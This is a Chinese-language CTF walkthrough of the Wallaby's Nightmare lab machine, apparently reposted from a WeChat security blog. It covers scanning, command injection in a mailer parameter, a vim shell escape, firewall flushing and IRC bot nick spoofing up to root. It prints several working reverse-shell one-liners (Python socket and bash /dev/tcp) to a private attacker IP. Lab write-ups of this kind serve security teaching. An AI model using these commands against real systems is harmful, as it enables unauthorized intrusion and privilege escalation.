Wallaby's Nightmare靶机详解

admin 2025年5月30日13:44:42评论0 views字数 2252阅读7分30秒阅读模式

一、主机发现

arp-scan -l
Wallaby's Nightmare靶机详解

靶机ip为:192.168.55.165

二、端口扫描、目录枚举、漏洞扫描、指纹识别

2.1端口扫描

nmap --min-rate 10000 -p- 192.168.55.165
Wallaby's Nightmare靶机详解

发现存在6667这一特殊端口,开放了irc服务

UDP端口扫描

nmap -sU --min-rate 10000 -p- 192.168.55.165

靶机没有开放UDP端口

2.2目录枚举

dirb http://192.168.55.165
Wallaby's Nightmare靶机详解

没有可用的敏感路径

2.3漏洞扫描

nmap --script=vuln -p22,80,6667 192.168.55.165
Wallaby's Nightmare靶机详解

2.4指纹识别

nmap 192.168.55.165 -sV -sC -O --version-all
Wallaby's Nightmare靶机详解

三、进入靶机网站寻找信息,反弹shell

前面收集到的信息太少了,只能从靶机网站继续收集了

到了靶机网站,输入一个名字去开启这次ctf

随后进入这个页面,看到url中的page=home,感觉存在文件包含漏洞

Wallaby's Nightmare靶机详解

还真有效果

Wallaby's Nightmare靶机详解

但是没有密码能直接爆破,继续尝试执行其它命令

Wallaby's Nightmare靶机详解

发现不能执行命令,只能文件包含,尝试使用nikto工具进行扫描

nikto -h 192.168.55.165
Wallaby's Nightmare靶机详解

发现只有文件包含漏洞,只好尝试其它页面了

再回到页面时,发现页面无法访问了

Wallaby's Nightmare靶机详解

靶机不可能封我们的ip,ctf中这种情况一般是80端口关闭,然后开启了另一个端口,继续进行namp扫描端口

Wallaby's Nightmare靶机详解

确实跟想的一样,80端口关闭,然后开启了60080端口

Wallaby's Nightmare靶机详解

他说为了防止我爆破,所以换了一个端口,说明应该还是有目录包含漏洞的

Wallaby's Nightmare靶机详解

继续进行目录枚举,看看新的端口下有什么信息

dirb http://192.168.55.165:60080/?page=
Wallaby's Nightmare靶机详解

发现这个端口确实有很多信息

访问爆破出来的url

Wallaby's Nightmare靶机详解

发现提示说已经修复了

但是?page=mailer是没有修复的

Wallaby's Nightmare靶机详解

那说明漏洞应该在这一个页面中,查看页面源代码

Wallaby's Nightmare靶机详解

发现这里应该存在rce

尝试执行ls命令

Wallaby's Nightmare靶机详解

真成功了,可以在此处进行反弹shell了

http://192.168.55.165:60080/?page=mailer&mail=python%20-c%20%27import%20socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((%22192.168.55.132%22,4444));os.dup2(s.fileno(),0);%20os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import%20pty;%20pty.spawn(%22/bin/bash%22)%27
Wallaby's Nightmare靶机详解

成功反弹shell

四、提权

4.1靶机信息收集

Wallaby's Nightmare靶机详解

查看用户的sudo命令权限

Wallaby's Nightmare靶机详解

发现vim和iptables有权限使用

其中iptables是Linux的防火墙,尝试使用vim进行提权

防火墙有权限的话,可以先看看防火墙怎么工作的,扫描端口的时候发现6667端口没开放

查看防火墙

sudo /sbin/iptables -L
Wallaby's Nightmare靶机详解

该防火墙限制外部访问irc服务

清空防火墙策略

sudo /sbin/iptables --flush

重新扫描该端口,发现开放了,并且该服务是wallaby的

Wallaby's Nightmare靶机详解

4.2进入waldo用户

sudo -u waldo /usr/bin/vim /etc/apache2/sites-available/000-default.conf
根据刚刚的命令,用waldo用户执行vim编辑该文件

:!bash -i >& /dev/tcp/192.168.55.132/8888 0>&1
Wallaby's Nightmare靶机详解

成功反弹shell

4.3提权

waldo用户需要密码才能使用sudo命令,尝试在靶机收集其它信息

找一下wallaby的相关信息,这样就能进而找到irc服务的相关信息

find / -name wallaby* 2> /dev/null
Wallaby's Nightmare靶机详解

找到了两个相关的文件

在/home/wallaby/.sopel目录下找到了相关信息

Wallaby's Nightmare靶机详解

找到了irc服务是waldo用户所有的,频道名称也有,刚刚将防火墙关闭了,kali本机也可以访问到该端口

irssi -c 192.168.55.165 -p 6667 -n wallabyschat
Wallaby's Nightmare靶机详解
/list     查看频道列表
Wallaby's Nightmare靶机详解

发现有两个频道

/j wallabyschat  进入公开频道
/wc  退出当前频道

在频道中看到了两个用户

在主频道中输入以下命令进行信息收集

/whois waldo 
/whois wallabysbot
Wallaby's Nightmare靶机详解

发现wallabysbot基于Sopel的

去靶机找相关信息

找到了一个run.py脚本

Wallaby's Nightmare靶机详解

去wallabyschat频道中尝试运行

/j wallabyschat
.run ls
Wallaby's Nightmare靶机详解

发现Waldo正在使用tmux满足IRC需求…如果服务装置出现故障…就是说tmux掉线了,IRC也会跟着掉线…

查看用户的进程,并将tmux进程关闭

ps -aux | grep waldo
kill 666
Wallaby's Nightmare靶机详解

然后欺骗对方用waldo身份运行开启反弹shell,.run获取反向shell即可

/wc
/j wallabyschat
/nick waldo
nc -lvvp 9090
.run bash -c 'bash -i >& /dev/tcp/192.168.55.132/9090 0>&1'
Wallaby's Nightmare靶机详解

此时就拿到了wallaby的shell

sudo -l
Wallaby's Nightmare靶机详解

直接sudo提权即可

sudo su  
Wallaby's Nightmare靶机详解

提权成功!

原文始发于微信公众号(泷羽Sec-pp502的安全笔记):Wallaby's Nightmare靶机详解

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年5月30日13:44:42
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Wallaby's Nightmare靶机详解https://cn-sec.com/archives/3872776.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息